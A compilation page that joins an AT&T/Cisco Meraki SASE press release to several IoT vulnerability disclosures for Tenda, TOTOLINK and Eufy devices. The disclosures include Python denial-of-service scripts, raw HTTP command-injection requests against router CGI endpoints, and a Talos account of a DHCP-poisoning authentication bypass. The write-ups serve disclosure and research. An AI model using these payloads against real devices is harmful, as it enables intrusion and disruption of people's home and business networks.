AT&T SASE with Cisco Meraki offers fully integrated network and security tools for convenient, high-performing, and protected access from anywhere

DALLAS, May 5, 2022

https://about.att.com/story/2022/sase-cisco-meraki.html

**What’s the news?**

AT&T\* is introducing AT&T SASE with Cisco Meraki designed to provide businesses of nearly any size and industry with a powerful networking and security offering. This new managed service helps organizations improve network performance, enable resilient access and defend sensitive data. The service also helps protect against unauthorized use and loss. It does this while delivering flexibility for customers as their networking environments evolve due to business growth, location expansion and changes in strategy.

**Why is this important?**

The need for reliable, high-performance connectivity has never been greater. The growth of hybrid work environments means organizations are connecting people, places and devices, enabling users to connect and collaborate at nearly any time, from nearly anywhere.

Organizations also rely on a wide range of Internet of Things (IoT) devices to drive efficiency, from security cameras to medical devices and manufacturing equipment. This explosion of connectivity makes preparing for and addressing cybersecurity threats a critical challenge, especially for sophisticated enterprises.

But small and medium-sized businesses are also common targets for cybercriminals, and a lack of expertise and resources make them particularly vulnerable. In fact, 60% of SMBs cease operations within 6 months following a cyberattack.

AT&T SASE with Cisco Meraki combines leading services to provide businesses of nearly any size with an effective way to achieve highly secure and reliable access and with cloud-based security and SD-WAN capabilities to help protect users from malicious web-based threats.

These services include AT&T Business Wi-Fi with Cisco Meraki for a cloud-managed networking solution; AT&T Secure Remote Access with Cisco for zero-trust network access; and AT&T Secure Web Gateway with Cisco for secure internet and cloud app access.

**What makes AT&T SASE with Cisco Meraki different?**

AT&T SASE with Cisco Meraki further expands the AT&T SASE portfolio, creating a solution that also includes indoor/outdoor access points, network switches, cellular gateways, and teleworker appliances.

The managed security service allows almost any business to connect, protect, manage, and scale its network without the in-house expertise typically needed to achieve this level of security. The scalability of the solution is critical for growing businesses that need to rapidly expand to different data centers and branch locations or add more devices to their network. This solution also helps businesses defend their sensitive data against unauthorized use and theft.

Customers also receive access to the leading AT&T Managed Services and our specialists who can assist with deployment, policy design, configuration, and 24/7 monitoring and support.

**Where can I get it?**

AT&T SASE with Cisco Meraki is available today. For more information, please visit here.

**What are people saying?**

“In network connectivity and security, there is often little margin for error. For many businesses, the expertise to get it right is hard to come by. AT&T SASE with Cisco Meraki is a completely managed service that puts our experts in the driver’s seat giving growth-oriented businesses an integrated solution that can address their needs today, and scale up right alongside them going forward.”- **Danessa Lambdin, Vice President, AT&T Cybersecurity**

“Businesses looking to deploy cloud security across distributed locations must be able to do so in a simple, scalable, and reliable way. The AT&T SASE with Cisco Meraki service offers customers a seamless onramp to their SASE journey with a fully integrated networking and security offering, ultimately protecting users against internet-based threats both on and off the network.” - **Lawrence Huang, Vice President, Product Management at Cisco Meraki**

**_\*About AT&T Communications_**

_We help family, friends and neighbors connect in meaningful ways every day. From the first phone call 140+ years ago to mobile video streaming, we @ATT innovate to improve lives. AT&T Communications is part of AT&T Inc. (__NYSE:T__). For more information, please visit us at_ _att.com__._

AT&T Expands Access to Advanced Secure Edge and Remote Workforce Capabilities

Tenda AX1806 v1.0.0.1 was discovered to contain a stack overflow via the shareSpeed parameter in the function fromSetWifiGusetBasic. This vulnerability allows attackers to cause a Denial of Service (DoS).

**Overview**

*   The device's official website: https://www.tenda.com.cn/product/AX1806.html
*   Firmware download website: https://www.tenda.com.cn/download/detail-3306.html

**Affected version**

v1.0.0.1

**Vulnerability details**

tdhttpd in directory /bin has stack overflow vulnerability. The vulnerability occurrs in the fromSetWifiGusetBasic function, which can be accessed via the URL goform/WifiGuestSet.

*   

The function takes the POST parameter shareSpeed, does not validate its length, and copies it directly to a local variable acStack1888 on the stack, causing a stack overflow.

**PoC**

Poc of Denial of Service(DoS)

import requests

data \= {
    b"shareSpeed": b'A'\*0x800
}
res \= requests.post("http://127.0.0.1/goform/WifiGuestSet", data\=data)
print(res.content)

debug result:

CVE-2022-28969: IoT-vuln/Tenda/AX1806/fromSetWifiGusetBasic at main · d1tto/IoT-vuln

Tenda AX1806 v1.0.0.1 was discovered to contain a stack overflow via the timeZone parameter in the function form_fast_setting_wifi_set. This vulnerability allows attackers to cause a Denial of Service (DoS).

Permalink

Cannot retrieve contributors at this time

**Overview**

*   The device's official website: https://www.tenda.com.cn/product/AX1806.html
*   Firmware download website: https://www.tenda.com.cn/download/detail-3306.html

**Affected version**

v1.0.0.1

**Vulnerability details**

tdhttpd in directory /bin has a stack overflow vulnerability. The vulnerability occurrs in the form\_fast\_setting\_wifi\_set function, which can be accessed through the URL goform/fast_setting_wifi_set.

*   

The function takes the POST parameter timeZone, does not validate its length, and copies it directly to local variables on the stack, causing stack overflows.

**PoC**

Poc of Denial of Service(DoS)

import requests

data \= {
    b"ssid": b'A',
    b"timeZone": b"A"\*0x100 + b":" + b"A"\*0x400 
}
res \= requests.post("http://127.0.0.1/goform/fast\_setting\_wifi\_set", data\=data)
print(res.content)

CVE-2022-28972: IoT-vuln/readme.md at main · d1tto/IoT-vuln

TOTOLINK N600R v5.3c.5507_B20171031 was discovered to contain a command injection vulnerability via the QUERY_STRING parameter in the "Main" function.

**TOTOLINK N600R V5.3c.5507\_B20171031 Has an command injection vulnerability****Overview**

*   **Type**: command injection vulnerability
*   **Vendor**: TOTOLINK (https://www.totolink.net/)
*   **Products**: WiFi Router, such as N600R V5.3c.5507\_B20171031
*   \*\*Firmware download address:\*\*https://www.totolink.net/data/upload/20200728/f984576c47289d782ed65e67edbf06e2.zip

**Description****1.Product Information:**

TOTOLINK N600R V5.3c.5507\_B20171031 router, the latest version of simulation overview：

**2\. Vulnerability details**

TOTOLINK N600R V5.3c.5507\_B20171031 was discovered to contain a command injection vulnerability in the "Main" function. This vulnerability allows attackers to execute arbitrary commands via the QUERY\_STRING parameter.

We can see that the os will get  QUERY_STRING without filter splice to the string ;ps; and execute it. So, If we can control the QUERY_STRING, it can be command injection.

**3\. Recurring vulnerabilities and POC**

In order to reproduce the vulnerability, the following steps can be followed:

1.  Boot the firmware by qemu-system or other ways (real machine)
2.  Attack with the following POC attacks

    GET /cgi-bin/downloadFlile.cgi?;ls; HTTP/1.1 
    Host: 192.168.0.1 
    User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0 
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 
    Accept-Encoding: gzip, deflate 
    Connection: keep-alive 
    Upgrade-Insecure-Requests: 1 
    Cache-Control: max-age=0

CVE-2022-27411: GitHub - ejdhssh/IOT_Vul

A denial of service vulnerability exists in the libxm_av.so DemuxCmdInBuffer functionality of Anker Eufy Homebase 2 2.1.8.5h. A specially-crafted set of network packets can lead to a device reboot. An attacker can send packets to trigger this vulnerability.

**Summary**

A denial of service vulnerability exists in the libxm\_av.so DemuxCmdInBuffer functionality of Anker Eufy Homebase 2 2.1.8.5h. A specially-crafted set of network packets can lead to a device reboot. An attacker can send packets to trigger this vulnerability.

**Tested Versions**

Anker Eufy Homebase 2 2.1.8.5h

**Product URLs**

Eufy Homebase 2 - https://us.eufylife.com/products/t88411d1

**CVSSv3 Score**

7.4 - CVSS:3.0/AV:A/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H

**CWE**

CWE-190 - Integer Overflow or Wraparound

**Details**

The Eufy Homebase 2 is the video storage and networking gateway that enables the functionality of the Eufy Smarthome ecosystem. All Eufy devices connect back to this device, and this device connects out to the cloud, while also providing assorted services to enhance other Eufy Smarthome devices.

Among the home_security binary’s responsibilities, communications with the cloud and with smarthome devices is the most important. While the binary itself is somewhat opaque with regards to the actual implementation of this, a good chunk of the network functionality is within an imported libxm_av.so library. This library normally creates five different network servers, as so:

      tcp
        32392 - UDPRecvClient path
        32293 - WifiComSend_Pth            
        32295 - WifiComRecv_Pth            
        32290 - DspComSvr_Path - recv   ** not seen **
        32292 - DspComSvr_Path - send   ** not seen **
    
      udp
        32380 - UDPComCreate => UdpRecvSvr_pth 
        32392 - UdpSndSvr                      
    

While the code paths of some of these seem to converge or complement each other, these servers are all related to communications between the Homebase 2 and the smarthome devices. For today’s writeup we take a brief look into the WifiComRecv_Pth on TCP port 32295. Just like all the other ports, this codepath uses the getpeermac() function for defacto authentication, in that a network connection’s IP address must have an arp table entry on the br0 interface to be allowed to talk to any of these ports. Assuming that one has a vulnerabilty to bypass this check (see TALOS-2022-1479, libxm\_av.so getpeermac() authentication bypass vulnerability), or if one has compromised one of the smarthome devices that are resident on the br0 192.168.32.0/24 network, then one can essentially talk to the Eufy Homebase like any other device that has been paired. So what can one do with this?

Looking at the WifiComRecv_Pth, let’s take a look at what the message structure looks like:

    struct WifiComPkt{
        uint32_t magic; //[1]
        uint32_t opcode;
        uint32_t datalen; // [2]
        uint8_t data[]// [3]
    }
    

The packet must start with the magic bytes "\x55\x55\x00\xff" at \[1\]. We have an opcode as expected, and then there’s a datasize at \[2\] which determines the length of the array at \[3\]. All pretty standard. So let’s now examine the code handling these messages:

    void*  WifiComRecv_client_pth(struct mall_20* malloced_arg) { 
        //[...]
        0002d068      while (true)
        0002d068          if (g_XM_RUNNING != 0)  // [4]
        0002d14c              int32_t recv_ret
        0002d14c              uint32_t bytes_demuxed
        0002d14c              char* rbufptr
        0002d14c              do
        0002d088                  recv_ret = recv(sockfd: mall20.fd, buf: &buffer[pWriteOffset], len: 0x400 - pWriteOffset, flags: 0x40) // [5]
        0002d094                  if (recv_ret s> 0)
        0002d0a0                      pWriteOffset = pWriteOffset + recv_ret
        0002d0b4                      bytes_demuxed = DemuxCmdInBuffer(buffer: &buffer[pReadOffset], inpsize: pWriteOffset - pReadOffset, mall_20: &mall20) // [6]
    }
    

The server runs for as long as the g_XM_RUNNING global is switched on at \[4\] and constantly reads packets into a size 0x400 buffer on the stack at \[5\], which is subsequently parsed inside the DemuxCmdInBuffer function at \[6\].

    0002cd04  void* DemuxCmdInBuffer(char* buffer, uint32_t inpsize, struct mall_20* mall_20)
    0002cd6c      uint8_t* var_3c
    // [...]
    0002cde8      int32_t size_m4 = inpsize - 4
    0002cdf4      uint32_t bytes_left = 0
    0002cdf0      if (size_m4 s> 0)
    0002ce00          int32_t size_mc = inpsize - 0xc
    0002ce04          uint32_t bytesread = 0
    0002ce24          do
    0002ce2c              struct WifiPkt* wifipkt = &buffer[bytesread]
    0002ce38              while (wifipkt->magic == 0xff005555)                   // [7]
    0002ce54                  if (bytesread + 0xb s>= inpsize) 
    0002cefc                      return inpsize - bytesread
    0002ce74                  bytes_left = inpsize - bytesread
    0002ce70                  if (bytesread + wifipkt->size + 0xb s>= inpsize)   // [8]
    0002cefc                      return bytes_left
    0002ce7c                  XM_LOG(fname: "Xm_WifiComServer.c", line: 0x8a2, 2, 0, fmtstr: "cmd offset:%d\n", values: bytesread)
    0002ce94                  int32_t wificmd_ret = WifiCommandRespProc(wifipkt: wifipkt, mall_20: mall_20)  // [9]
    

After iterating through our data packet until finding the 0xff005555 magic bytes at \[7\], we finally get to our vulnerability: a lack of checking of the Wifipkt->size field inside the DemuxCmdInBuffer function, which allows us to cause an integer overflow at \[8\]. Unfortunately for attacker purposes, this WifiPkt->datalen field does not actually do that much inside WifiCommandRespProc \[9\] besides being checked and also potentially used as the length in an fwrite call. The best we can really get out of this vulnerability is setting the datalen large enough such that an out-of-bounds read occurs after advancing its read pointer by WifiPkt->datalen+0xb. This results in an unmapped read and a binary crash. If the home_security process crashes enough times within a given period, a device reboot will also occur, resulting in a denial of service.

**Crash Information**

    [ 5886.888000] do_page_fault() #2: sending SIGSEGV to home_security(23710) for invalid read access from
    [ 5886.888000] 282e7aa4 (pc == 778c4e30, ra == 778c4e9c)
    
    <(^.^)>#info reg
              zero       at       v0       v1       a0       a1       a2       a3
     R0   00000000 1100ff00 487f5f11 00000001 00000001 00000001 00000000 00000001
                t0       t1       t2       t3       t4       t5       t6       t7
     R8   00000000 fffffffe 00000000 00000000 9b64c2b0 8758a11c 00000000 00000007
                s0       s1       s2       s3       s4       s5       s6       s7
     R16  b780a0ff 33e09af7 7c5ff9f8 00000010 0000000c ff005555 7700a4d1 7700b920
                t8       t9       k0       k1       gp       sp       s8       ra
     R24  00000000 773d36ec 00000000 00000000 77026560 7c5ff960 7c5ff9d8 76ff6e9c
                sr       lo       hi      bad    cause       pc
          0100ff13 067e836c 001154dc 33e09af7 00800010 76ff6e30
               fsr      fir
          00000000 00000000
    
    <(^.^)>#x/10i $pc-0x10
       0x76d3ae20 <WifiComRecv_client_pth+504>:     li      a1,2280
       0x76d3ae24 <WifiComRecv_client_pth+508>:     li      a2,2
       0x76d3ae28 <WifiComRecv_client_pth+512>:     jalr    t9
       0x76d3ae2c <WifiComRecv_client_pth+516>:     move    a3,zero
    => 0x76d3ae30 <WifiComRecv_client_pth+520>:     lw      gp,32(sp)
       0x76d3ae34 <WifiComRecv_client_pth+524>:     move    s4,s2
       0x76d3ae38 <WifiComRecv_client_pth+528>:     move    s0,s2
       0x76d3ae3c <WifiComRecv_client_pth+532>:     move    s1,zero
       0x76d3ae40 <WifiComRecv_client_pth+536>:     lw      t9,-31148(gp)
    

**Vendor Response**

Fixed version 3.1.8.7 and 3.1.8.7h is in grayscale on Homebase2

**Timeline**

2022-03-11 - Vendor disclosure  
2022-04-15 - Vendor patched  
2022-05-05 - Public disclosure

Discovered by Lilith &gt;\_&gt; of Cisco Talos.

CVE-2022-26073: TALOS-2022-1480 || Cisco Talos Intelligence Group

An authentication bypass vulnerability exists in the libxm_av.so getpeermac() functionality of Anker Eufy Homebase 2 2.1.8.5h. A specially-crafted DHCP packet can lead to authentication bypass. An attacker can DHCP poison to trigger this vulnerability.

**Summary**

An authentication bypass vulnerability exists in the libxm\_av.so getpeermac() functionality of Anker Eufy Homebase 2 2.1.8.5h. A specially-crafted DHCP packet can lead to authentication bypass. An attacker can DHCP poison to trigger this vulnerability.

**Tested Versions**

Anker Eufy Homebase 2 2.1.8.5h

**Product URLs**

Eufy Homebase 2 - https://us.eufylife.com/products/t88411d1

**CVSSv3 Score**

7.1 - CVSS:3.0/AV:A/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L

**CWE**

CWE-290 - Authentication Bypass by Spoofing

**Details**

The Eufy Homebase 2 is the video storage and networking gateway that enables the functionality of the Eufy Smarthome ecosystem. All Eufy devices connect back to this device, and this device connects out to the cloud, while also providing assorted services to enhance other Eufy Smarthome devices.

Among the home_security binary’s responsibilities, communications with the cloud and with smarthome devices is the most important. While the binary itself is somewhat opaque with regards to the actual implementation of this, a good chunk of the network functionality is within an imported libxm_av.so library. This library normally creates five different network servers, as so:

      tcp
        32392 - UDPRecvClient path
        32293 - WifiComSend_Pth            
        32295 - WifiComRecv_Pth            
        32290 - DspComSvr_Path - recv   ** not seen **
        32292 - DspComSvr_Path - send   ** not seen **
    
      udp
        32380 - UDPComCreate => UdpRecvSvr_pth 
        32392 - UdpSndSvr                      
    

While the code paths of some of these seem to converge or complement each other, these servers are all related to communications between the Homebase 2 and the smarthome devices. These communications occur over a seperate network than that of the Homebase’s normal ethernet connection, as it broadcasts a WiFi Hotspot with a hidden SSID that all the smarthome devices can connect to. This WiFi hotspot corresponds to the br0 interface in the Homebase:

    8: br0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue 
        link/ether 8c:85:80:AA:BB:CC brd ff:ff:ff:ff:ff:ff
        inet 192.168.32.2/24 brd 192.168.32.255 scope global br0
           valid_lft forever preferred_lft forever
        inet6 fe80::8e85:80ff:feaa:bbcc/64 scope link 
           valid_lft forever preferred_lft forever
    

When a device is paired to the Homebase, it is statically assigned an IP address in the range of 192.168.32.5 to 192.168.32.21, but if one manually connects to this WiFi AP, a DHCP IP address is assigned starting from 192.168.32.100. While this might seem irrelevant, there are indeed hardcoded checks within these servers to see whether a connected client falls within the 192.168.32.5-192.168.32.21 IP address range, which could determine if a device is authorized to use an opcode or not. There also exist comparisons to the MAC addresses of paired devices, as another authentication method. But for today’s vulnerability, we examine the somewhat related getpeermac() function, which is used to check whether or not a client to any of the above mentioned TCP/UDP ports is allowed to send traffic:

    int32_t getpeermac(int32_t fd, char* sprintf_out){
    
        int32_t addrlne = 0x10
        struct arpreq arp
        memset(addr: &arp, chr: 0, size: 0x44)
        
        struct sockaddr addr
        addr.sin_family.d = 0
        addr.inet_addr = 0
        addr.pad[0].d = 0
        addr.pad[4].d = 0
        
        int32_t peerret = getpeername(fd, &addr, &addrlne) // [1]
        uint32_t $a1_1 = 0xdd
        char* fmtstr
        int32_t $v0
        if (peerret s< 0)
            fmtstr = "getpeermac: getpeername err\n"
        else
            arp.arp_dev[0].d = 'br0'
            arp.arp_pa.sin_family.d = addr.sin_family.d
            arp.arp_pa.inet_addr = addr.inet_addr // [2]
            arp.arp_pa.pad[0].d = addr.pad[0].d
            arp.arp_pa.pad[4].d = addr.pad[4].d
            arp.arp_pa.sin_family = 2
            arp.arp_ha.sin_family = 0
            iret = ioctl(fd, 0x8954, &arp)        // [3]
            if (iret s< 0)
                fmtstr = "getpeermac: ioctrl err\n"
                $a1_1 = 0xe7
        int32_t ret
        if (peerret s< 0 || (peerret s>= 0 && iret s< 0))
            uint8_t* var_7c
            XM_LOG(fname: "PrivateAPI.c", size: $a1_1, 5, 0, fmtstr: fmtstr, values: var_7c)
            ret = 0xfffff447
        if (peerret s>= 0 && $v0 s>= 0)
            sprintf(sprintf_out, 0x3d1d0, zx.d(arp.arp_ha.sin_port.b), [...]  {"%02X:%02X:%02X:%02X:%02X:%02X"} // [4]
            ret = 0
        return ret
    }
    

To summarize, at \[1\], the function gets the client socket IP address of our connection, placing it into addr. At \[2\], this addr’s data is put into the arpreq struct. At \[3\], the 0x8954 ioctl is done, which asks the kernel if there are any arp table entries on the br0 interface that have an IP address corresponding to our client socket. Assuming this all passes, a MAC address string is populated into the sprintf_out parameter pointer at \[4\], and 0x0 is returned by this function. If getpeermac does not return 0x0, the connection is immediately terminated, resulting in an authentication mechanism that is determined by the connection’s interface. To put more plainly, if we try sending traffic to any of these ports over the Homebase’s ethernet connection, the connection is blocked. Only paired smarthome devices are allowed to talk to these servers.

There is however an oversight in this implementation, namely that the Homebase’s eth0 connection is DHCP. Thus, if an attacker is on the same subnet as the Homebase and can DHCP poison the Homebase, the 192.168.32.0/24 range can be placed on both the eth0 interface and the br0 interface. If the attacker subsequently assigns themselves an IP address that matches any device on the br0 interface, then the call to getpeermac() will actually succeed. Again looking at the important parts of getpeermac():

        int32_t peerret = getpeername(fd, &addr, &addrlne) 
    

If our IP address legitimately is 192.168.32.5 for instance, the same IP address as a smarthome device on br0, then getpeername will populate addr with 192.168.32.5 (0xc0a82005).

       iret = ioctl(fd, 0x8954, &arp)       
    

Since we’re looking up 192.168.32.5: Assuming there is an actual device with this IP address, the ioctl will return successfully with the MAC address of the device on br0, allowing us to talk to these ports. But there is one more step to take in this setup. If we put the 192.168.32.0/24 network on the eth0 interface, we actually won’t see any return traffic due to routing priority. To solve this issue, we can simply poison instead with 192.168.32.0/25 or any other smaller subnet that lets us share an IP address with a device on the br0 interface. Since smaller subnets by default take priority to larger subnets in routing tables, we can force the Homebase to send traffic to us instead of the Smarthome devices on br0, regardless of the static arp table entries that get configured for paired devices.

**Vendor Response**

Fixed version 3.1.8.7 and 3.1.8.7h is in grayscale on Homebase2

**Timeline**

2022-03-11 - Vendor disclosure  
2022-04-15 - Vendor patched  
2022-05-05 - Public disclosure

Discovered by Lilith &gt;\_&gt; of Cisco Talos.

CVE-2022-25989: TALOS-2022-1479 || Cisco Talos Intelligence Group

It is found that there is a command injection vulnerability in the setWiFiAdvancedCfg interface in TOTOlink A7100RU (v7.4cu.2313_b20191024) router, which allows an attacker to execute arbitrary commands through a carefully constructed payload.

**TOTOlink A7100RU Command injection vulnerability****Overview**

*   Manufacturer's website information：http://totolink.net/
*   Firmware download address ： http://totolink.net/home/menu/detail/menu\_listtpl/download/id/185/ids/36.html

**1\. Affected version**

Figure 1 shows the latest firmware Ba of the router

**2.Vulnerability details**

The program passes the content obtained by the merge parameter to V2, and then brings V2 into UCI\_ Set\_ In str function

Format the A4 matched content into V11 through snprintf function, and then bring V11 into cstesystem function

The function directly brings user input into the execv function, which has a command injection vulnerability

**3.Recurring vulnerabilities and POC**

In order to reproduce the vulnerability, the following steps can be followed:

1.  Use the fat simulation firmware V7.4cu.2313\_B20191024
2.  Attack with the following overflow POC attacks

    POST /cgi-bin/cstecgi.cgi HTTP/1.1
    Host: 192.168.0.1
    Content-Length: 79
    Accept: */*
    X-Requested-With: XMLHttpRequest
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36
    Content-Type: application/x-www-form-urencoded; charset=UTF-8
    Origin: http://192.168.0.1
    Referer: http://192.168.0.1/adm/status.asp?timestamp=1647872753309
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Cookie: SESSION_ID=2:1647872744:2
    Connection: close
    
    {"topicurl":"setting/setWiFiAdvancedCfg",
    "merge":"1$(ls>/tmp/123;)"}
    

The reproduction results are as follows:

Figure 2 POC attack effect

Finally, you can write exp, which can achieve a very stable effect of obtaining the root shell

CVE-2022-28581: IOT_vuln/TOTOLink/A7100RU/9 at main · EPhaha/IOT_vuln

It is found that there is a command injection vulnerability in the setWiFiSignalCfg interface in TOTOlink A7100RU (v7.4cu.2313_b20191024) router, which allows an attacker to execute arbitrary commands through a carefully constructed payload.

**TOTOlink A7100RU Command injection vulnerability****Overview**

*   Manufacturer's website information：http://totolink.net/
*   Firmware download address ： http://totolink.net/home/menu/detail/menu\_listtpl/download/id/185/ids/36.html

**1\. Affected version**

Figure 1 shows the latest firmware Ba of the router

**2.Vulnerability details**

The program passes the content obtained by the wscdisabled parameter to the V3 parameter, then assigns V3 to V6, and finally brings V6 to UCI\_ Set\_ In str function

Format the A4 matched content into V11 through snprintf function, and then bring V11 into cstesystem function

The function directly brings user input into the execv function, which has a command injection vulnerability

**3.Recurring vulnerabilities and POC**

In order to reproduce the vulnerability, the following steps can be followed:

1.  Use the fat simulation firmware V7.4cu.2313\_B20191024
2.  Attack with the following overflow POC attacks

    POST /cgi-bin/cstecgi.cgi HTTP/1.1
    Host: 192.168.0.1
    Content-Length: 79
    Accept: */*
    X-Requested-With: XMLHttpRequest
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36
    Content-Type: application/x-www-form-urencoded; charset=UTF-8
    Origin: http://192.168.0.1
    Referer: http://192.168.0.1/adm/status.asp?timestamp=1647872753309
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Cookie: SESSION_ID=2:1647872744:2
    Connection: close
    
    {"topicurl":"setting/setWiFiSignalCfg",
    "wscDisabled":"1$(ls>/tmp/123;)"}
    

The reproduction results are as follows:

Figure 2 POC attack effect

Finally, you can write exp, which can achieve a very stable effect of obtaining the root shell

Tag

#wifi